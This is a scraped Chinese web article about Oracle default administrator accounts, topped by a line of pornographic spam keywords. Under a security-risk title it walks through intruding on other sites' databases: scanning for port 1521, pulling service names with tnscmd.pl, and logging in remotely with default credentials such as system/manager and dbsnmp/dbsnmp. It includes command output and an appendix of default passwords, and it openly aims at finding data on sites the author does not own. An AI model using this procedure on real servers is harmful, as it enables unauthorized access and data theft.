av激情亚洲男人的天堂国语,日韩欧美精品一中文字幕,无码av一区二区三区无码,国产又色又爽又刺激的a片,国产又色又爽又刺激的a片

Oracle默認管理員帶來的數(shù)據(jù)庫安全隱患

Oracle默認管理員密碼是固定的,這是為了安裝和調(diào)試的方便。Oracle數(shù)據(jù)庫中的兩個具有DBA權(quán)限的用戶Sys和System。筆者發(fā)現(xiàn)很多國內(nèi)網(wǎng)站的Oracle數(shù)據(jù)庫沒有更改這兩個用戶的密碼,其中也包括很多大型的電子商務網(wǎng)站,我們就可以利用這個缺省密碼去找我們感興趣的東西。

進行測試前我們先來了解一些相關(guān)的知識,我們連接一個Oracle數(shù)據(jù)庫的時候,需要知道它的service_name或者是Sid值,就象mssql一樣,需要知道數(shù)據(jù)庫名。那如何去知道呢,猜?呵呵,顯然是不行的。這里我們先講講oracle的TNSlistener,它位于數(shù)據(jù)庫Client和數(shù)據(jù)庫Server之間,默認監(jiān)聽1521端口,這個監(jiān)聽端口是可以更改的。但是如果你用一個tcp的session去連接1521端口的話,oracle將不會返回它的banner,如果你輸入一些東西的話,它甚至有可能把你踢出去。這里我們就需要用tnscmd.pl這個perl程序了,它可以查詢遠程 oracle數(shù)據(jù)庫是否開啟(也就是ping了),查詢版本,以及查詢它的服務名,服務狀態(tài)和數(shù)據(jù)庫服務名,而且正確率很高。

理論方面的講完了,如果還有什么不懂的可以去查找相關(guān)資料?,F(xiàn)在開始測試吧,需要的工具有:ActivePerl,Oracle客戶端,Superscan或者是其它掃描端口的軟件,Tnscmd.pl.我們先用Superscan掃描開放了端口1521的主機,假設(shè)其IP是xx.xx.110.110,這樣目標已經(jīng)有了。然后我們要做的就是用Tnscmd.pl來查詢遠程數(shù)據(jù)庫的服務名了,Tnscmd.pl的用法如下:

 
 
 
  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl   
  2. usage: tnscmd.pl [command] -h hostname   
  3. where "command" is something like ping, version, status,etc.   
  4. (default is ping)   
  5. [-p port] - alternate TCP port to use (default is 1521)   
  6. [--logfile logfile] - write raw packets to specifiedlogfile   
  7. [--indent] - indent & outdent on parens   
  8. [--rawcmd command] - build your own CONNECT_DATA string   
  9. [--cmdsize bytes] - fake TNS command size (revealspacketleakage)   
  10.  

我們下面用的只有簡單的幾個命令,其他的命令也很好用,一起去發(fā)掘吧。

然后我們就這樣來:

 
 
 
  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl services -hxx.xx.110.110-p 1521 –indent   
  2. sending (CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521   
  3. writing 91 bytes   
  4. reading   
  5. ._.......6.........?. ..........   
  6. DETION=   
  7. TMP=   
  8. VSNNUM=135286784   
  9. ERR=0   
  10. SERVICES_EXIST=1   
  11. .Q........   
  12. SERVICE=   
  13. SERVICE_NAME=ORCL   
  14. INSTANCE=   
  15. INSTANCE_NAME=ORCL   
  16. NUM=1   
  17. INSTANCE_CLASS=ORACLE   
  18. HANDLER=   
  19. HANDLER_DISPLAY=DEDICATED SERVER   
  20. STA=ready   
  21. HANDLER_INFO=LOCAL SERVER   
  22. HANDLER_MAXLOAD=0   
  23. HANDLER_LOAD=0   
  24. ESTABLISHED=447278   
  25. REFUSED=0   
  26. HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227   
  27. HANDLER_NAME=DEDICATED   
  28. ADDRESS=   
  29. PROTOCOL=beq   
  30. PROGRAM=/home/oracle/bin/oracle   
  31. ENVS="ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL"   
  32. ARGV0=oracleORCL   
  33. ARGS="   
  34. LOCAL=NO   
  35. "   
  36. .........@   
  37.  

從上面得到的信息我們可以看出數(shù)據(jù)庫的服務名為ORCL,然后我們就可以通過sqlplus工具來遠程連上它了,用戶名和密碼我們用默認的 system/manager或者是sys/manager(Oracle默認管理員),其他的如mdsys/mdsys,ctxsys/ctxsys等,這個默認用戶和密碼是隨版本的不同而改變的。如下:

 
 
 
  1. C:\oracle\ora90\BIN@@@@dayu@@@@sqlplus /nolog   
  2. SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 2311:36:592002   
  3. (c) Copycenter 2001 Oracle Corporation. All centersreserved.   
  4. SQL@@@@dayu@@@@connect system/manager@   
  5. (detion=(address_list=(address=(protocol=tcp)   
  6. (host=xx.xx.110.110)(port=1521)))   
  7. (connect_data=(SERVICE_NAME=ORCL)));   
  8.  

如果密碼正確,那么就會提示connected,如果不行,再換別的默認用戶名和密碼。經(jīng)過筆者的嘗試一般用dbsnmp/dbsnmp都能進去。當然如果對方已經(jīng)把默認密碼改了,那我們只能換別的目標了。但是我發(fā)現(xiàn)很多都是不改的,這個就是安全意識的問題了。

附錄 Oracle默認管理員密碼

1.
用戶名:sys
密碼:change_on_install

2.
用戶名:system
密碼:manager

3.
用戶名:scott
密碼:tiger

【編輯推薦】

  1. 詳解Oracle如何解鎖用戶的方法
  2. 五分鐘精通Oracle表空間
  3. 五種Oracle用戶的授權(quán)與管理
  4. Oracle管理員手冊:數(shù)據(jù)庫管理工具
  5. Oracle用戶名更改操作四步走

分享名稱:Oracle默認管理員帶來的數(shù)據(jù)庫安全隱患
標題網(wǎng)址:http://uogjgqi.cn/article/copiedp.html
掃二維碼與項目經(jīng)理溝通

我們在微信上24小時期待你的聲音

解答本文疑問/技術(shù)咨詢/運營咨詢/技術(shù)建議/互聯(lián)網(wǎng)交流